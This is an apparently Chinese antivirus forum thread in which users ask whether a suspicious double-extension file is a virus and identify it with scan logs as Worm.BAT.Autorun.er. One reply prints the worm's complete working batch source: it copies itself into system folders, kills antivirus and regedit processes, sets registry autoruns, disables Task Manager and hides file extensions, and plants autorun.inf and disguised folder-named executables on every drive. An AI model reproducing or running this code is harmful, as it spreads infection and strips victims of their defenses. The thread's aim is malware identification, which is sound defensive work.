这个是病毒吗？

change_018

双后缀文件夹图标..

头发晕

mimimi

mcafee  09  没有发现

wliao

@shift
@echo off
if exist "%~n0" (explorer.exe "%~n0"&goto a)
cd /d "%~dp0"
if /i "%cd%"=="%~d0\" (explorer.exe "%~d0")
:a
set w=%systemroot%\system32\Drivers
if not exist %w%\USBInfo.com (attrib -s -h %0&copy %0 %w%\USBInfo.com)
if /i not "%cd%"=="%w%" (goto end)
:d
taskkill /f /im usbmon.exe /im U盘病毒免疫器.exe /im USBCleaner.exe /im mmc.exe /im regedit.exe
if not exist "%userprofile%\「开始」菜单\程序\启动\QQ.com" (copy %w%\USBInfo.com "%userprofile%\「开始」菜单\程序\启动\QQ.com" )
if exist %w%\Driver.sys exit
if not exist "%systemroot%\system32\ScreenSave.scr" (copy "%w%\USBInfo.com" "%systemroot%\system32\ScreenSave.scr")
if not exist "%w%\USBInfo.reg" (call:reg>%w%\USBInfo.reg)
if not exist "%w%\USBstor.vbe" (call:slp>%w%\USBstor.vbe)
if not exist "%w%\USBInfo.vbe" (call:vbe>%w%\USBInfo.vbe)
if not exist "%w%\USBSys.vbe" (call:slp2>%w%\USBSys.vbe)
goto 1
:end
if not exist "%w%\USBStor.vbe" (call:slp>"%w%\USBStor.vbe")
if exist "%w%\Driver.sys" (del /a /f /q "%w%\Driver.sys")
if not exist "%w%\Driver.sys" (echo.Driver>"%w%\Driver.sys"&%w%\USBStor.vbe)
if exist "%w%\Driver.sys" (del /a /f /q "%w%\Driver.sys")
if not exist "%w%\USBInfo.vbe" (call:vbe>"%w%\USBInfo.vbe")
"%w%\USBInfo.vbe"
exit
:vbe
echo.createobject("wscript.shell").run "%w%\USBInfo.com"
goto :eof
:slp
echo.wscript.sleep 6000
goto :eof
:slp2
echo.wscript.sleep 400
goto :eof
:inf
echo.[AutoRun]
echo.icon=%systemroot%\system32\shell32.dll,7
echo.label=本地磁盘
echo.open=
echo.
echo.shell\open=打开(O)
echo.shell\open\Command=文件夹.exe
echo.shell\open\Default=1
goto :eof
:reg
echo.Windows Registry Editor Version 5.00
echo.
echo.[HKEY_CURRENT_USER\Control Panel\Desktop]
echo."ScreenSaveTimeOut"="60"
echo."SCRNSAVE.EXE"="C:\\WINDOWS\\system32\\ScreenSave.scr"
echo.
echo.[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
echo."@"="c:\\windows\\system32\\Drivers\\USBInfo.com"
echo.
echo.HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
echo."@"="c:\\windows\\system32\\Drivers\\USBInfo.com"
echo.
echo.HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
echo."@"="c:\\windows\\system32\\Drivers\\USBInfo.com"
echo.
echo.[HKEY_CURRENT_USER\SoftWare\Microsoft\Windows\CurrentVersion\Policies\System]
echo."DisableTaskmgr"=dword:00000001
echo.
echo.[HKEY_CURRENT_USER\SoftWare\Microsoft\Windows\CurrentVersion\Policies\Explorer]
echo."NoRun"=dword:00000001
echo."NoFolderOptions"=dword:00000001
echo.
echo.[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
echo."HideFileExt"=dword:00000001
echo."ShowSuperHidden"=dword:00000000
echo."Hidden"=dword:00000000
echo.
echo.[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]
echo."Checkedvalue"=dword:00000000
goto :eof
:1
regedit /s %w%\USBInfo.reg
%w%\USBStor.vbe
cd\
call:s
d:
call:s
if exist e:\ (goto e)
goto ff
:e
e:
call:s
:ff
if exist f:\ (goto f)
goto gg
:f
f:
call:s
:gg
if exist g:\ (goto g)
goto hh
:g
g:
call:s
:hh
if exist h:\ (goto h)
goto ii
:h
h:
call:s
:ii
if exist i:\ (goto i)
goto jj
:i
i:
call:s
:jj
if exist j:\ (goto j)
goto kk
:j
j:
call:s
:kk
if exist k:\ (goto k)
goto ll
:k
k:
call:s
:ll
if exist l:\ (goto l)
goto mm
:l
l:
call:s
:mm
if exist m:\ (goto m)
goto nn
:m
m:
call:s
:nn
if exist n:\ (goto n)
goto o
:n
n:
call:s
:o
c:
cd %w%
goto d
:s
%w%\USBSys.vbe
if not exist 文件夹.exe (copy %w%\USBInfo.com 文件夹.exe&attrib +a +r +s +h 文件夹.exe)
attrib +a +r +s +h 文件夹.exe
if exist autorun.inf (rd /s/q autorun.inf&del /f/a/q autorun.inf)
if not exist autorun.inf (call:inf>autorun.inf&attrib +a +r +s +h autorun.inf)
if exist desktop.ini del /f /a /q desktop.ini
dir /a:d /b>desktop.ini
for /f "usebackq tokens=*" %%i in (desktop.ini) do if not exist "%%i.exe" (copy %w%\USBInfo.com "%%i.exe"&attrib +s +h "%%i")
del /f /a /q desktop.ini
attrib +a +r +s +h "recycler.exe"
attrib +a +r +s +h "system volume informatio.exe"

zhb0128

反病毒专家 AntiVirusKit 2006 扫描病毒日志记录
版本 16.0.7
双引擎反病毒签名 2009-10-18
开始时间: 2009-10-18 22:00
引擎: KAV 引擎 (AVK 19.8104), BD 引擎 (BD 18.1468)
高启发式: 打开
压缩文件: 打开
系统区域: 关闭

扫描所选择的目录和文件...
对象: $RECYCLE.BIN.exe
        在压缩档案里: C:\Documents and Settings\Administrator\桌面\$RECYCLE[1].BIN.exe.7z
        Status: 已发现病毒
        病毒: DeepScan:Generic.Malware.SBTk.5D942384 (BD 引擎)
对象: $RECYCLE[1].BIN.exe.7z
        路径: C:\Documents and Settings\Administrator\桌面
        Status: 文件移入隔离区
        病毒: DeepScan:Generic.Malware.SBTk.5D942384 (BD 引擎)
扫描完成: 2009-10-18 22:00
    已检查 1 个文件
    已发现 1 个染毒文件
    发现 0 个可疑文件

尤金卡巴斯基

$RECYCLE.BIN.exe - Worm.BAT.Autorun.er

New malicious software was found in this file. It's detection will be included in the next update. Thank you for your help.

thelordisone

MSE不报

kingsheet

卡巴
http://bbs.kafan.cn/attachment.p ... &t=1255918994//$RECYCLE.BIN.exe//data.bat

sh织田香

就是个病毒文件嘛~~~~~

sermin

无法返回请求的网页

试图访问的网页：

http://bbs.kafan.cn/attachment.php?aid=
644714&k=d7fb7601b73a478fb558870d98e7252
7&t=1255942682

被以下病毒感染：Worm.BAT.Autorun.er